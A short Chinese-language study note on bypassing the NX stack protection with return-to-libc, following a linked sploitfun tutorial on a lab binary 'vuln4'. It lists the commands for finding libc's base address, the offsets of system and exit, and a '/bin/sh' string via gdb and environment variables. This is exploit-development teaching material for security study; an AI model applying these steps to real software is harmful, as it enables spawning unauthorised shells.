前面3门入门课程都是各种限定,才能获取shell。今天先解开栈执行保护,意味着直接在栈上执行代码是不可能的了。
大神博客地址:https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
国内有人把此博客翻译成中文,整理成文档了。这里给出大家链接:
https://legacy.gitbook.com/book/wizardforcel/sploitfun-linux-x86-exp-tut/details
博客大家自己去看,我这里是说下博客中未提到的细节,或者说明下怎么操作。
通过ldd查看基地址:
ldd vuln4
通过readelf -s命令查看偏移地址
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
其实通过gdb调试,在main处进行断点,进行调试,然后通过 :
p system
也能获取到。
gdb暴力搜索/bin/bash法:
x/500s $esp
找到了/bin/bash,未找到/bin/sh。
由于SHELL=占据了6个字符,应该还应该加上6.
通过构造寻找/bin/bash方法:
export pwn="/bin/sh"
echo $pwn
./gtenv pwn
使用gdb-peda直接在应用程序中寻找:
find "/bin/sh"